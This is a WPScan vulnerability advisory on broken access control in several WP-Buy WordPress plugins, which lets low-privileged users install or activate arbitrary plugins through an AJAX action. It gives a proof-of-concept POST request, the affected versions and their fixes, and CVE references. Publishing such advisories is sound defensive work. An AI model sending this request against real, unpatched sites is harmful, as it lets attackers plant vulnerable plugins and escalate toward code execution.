WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact
WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact

WordPress Plugin Vulnerabilities

Multiple WP-Buy Plugins - Arbitrary Plugin Installation/Activation via Low Privilege User

Description

Low privileged users could use the AJAX action "cp_plugins_do_button_job_later_callback" from multiple plugins of the WP-Buy vendor, to install any plugin (including a specific version) from the WordPress repository, which helps attackers install vulnerable plugins and could lead to more critical vulnerabilities like RCE.

Note (WPScanTeam): The same AJAX action could also be used to activate installed plugins on the blog.

Proof of Concept

Vulnerable code : 
 cp_plugins_do_button_job_later_callback() method in settings-start-index.php file

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Cookie: [Low Privilege User cookie]
Content-Type: application/x-www-form-urlencoded
Content-Length: 46

action=do_button_job_later&slug=plugin_slug.version


To activate installed plugins, use the same request, but with the plugin_file instead of slug parameter 

Affects Plugins

wp-content-copy-protector
Fixed in version 3.1.5
conditional-marketing-mailer
Fixed in version 1.5.2
captchinoo-captcha-for-login-form-protection
Fixed in version 2.4 - plugin closed
wp-maintenance-mode-site-under-construction
Fixed in version 1.8.2 - plugin closed
tree-website-map
Fixed in version 2.9 - plugin closed
visitors-traffic-real-time-statistics
Fixed in version 2.12
wp-limit-failed-login-attempts
Fixed in version 2.9
login-as-customer-or-user
Fixed in version 1.8

References

CVE
CVE-2021-24188
CVE
CVE-2021-24189
CVE
CVE-2021-24190
CVE
CVE-2021-24191
CVE
CVE-2021-24192
CVE
CVE-2021-24193
CVE
CVE-2021-24194
CVE
CVE-2021-24195
URL
https://plugins.trac.wordpress.org/changeset/2494586/

Classification

Type

ACCESS CONTROLS

OWASP top 10
A5: Broken Access Control
CWE
CWE-284

Miscellaneous

Original Researcher

Bugbang

Submitter

Bugbang

Submitter twitter
XBugbang
Verified

Yes

WPVDB ID
74889e29-5349-43d1-baf5-1622493be90c

Timeline

Publicly Published

2021-04-22 (about 1 years ago)

Added

2021-04-22 (about 1 years ago)

Last Updated

2021-04-24 (about 1 years ago)

Our Other Services

WPScan WordPress Security Plugin
WPScan

Vulnerabilities

WordPressPluginsThemesOur StatsSubmit vulnerabilities

About

How it worksPricingWordPress pluginNewsContact

For Developers

StatusAPI detailsCLI scanner

Other

PrivacyTerms of serviceSubmission termsDisclosure policyPrivacy Notice for California Users
jetpackIn partnership with Jetpack
githubtwitterfacebook
Angithubendeavor
Work With Us